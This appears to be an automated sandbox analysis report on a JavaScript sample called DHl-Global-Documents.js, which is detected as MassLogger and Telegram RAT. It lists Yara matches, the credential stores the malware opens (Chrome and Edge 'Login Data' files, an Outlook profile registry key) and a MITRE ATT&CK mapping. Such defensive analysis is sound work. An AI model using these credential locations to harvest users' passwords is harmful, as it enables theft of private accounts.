Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 3.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1a4587a94e8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1a4587a94e8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1a458530838.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2951462853.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7752, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 3.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1a4587a94e8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1a4587a94e8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1a458530838.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2951462853.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7752, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 3.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1a4587a94e8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1a4587a94e8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1a458530838.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2951462853.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2955066393.0000000002B98000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7752, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 3.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1a4587a94e8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1a4587a94e8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1a458530838.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2951462853.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7752, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 3.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1a4587a94e8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1a4587a94e8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1a458530838.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2951462853.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7752, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	43 Scripting	Valid Accounts	1 Native API	43 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	211 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	13 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	1 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Data Encoding	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	1 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	31 Virtualization/Sandbox Evasion	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	211 Process Injection	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Windows Analysis Report DHl-Global-Documents.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: MassLogger

Yara Signatures

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
DHl-Global-Documents.js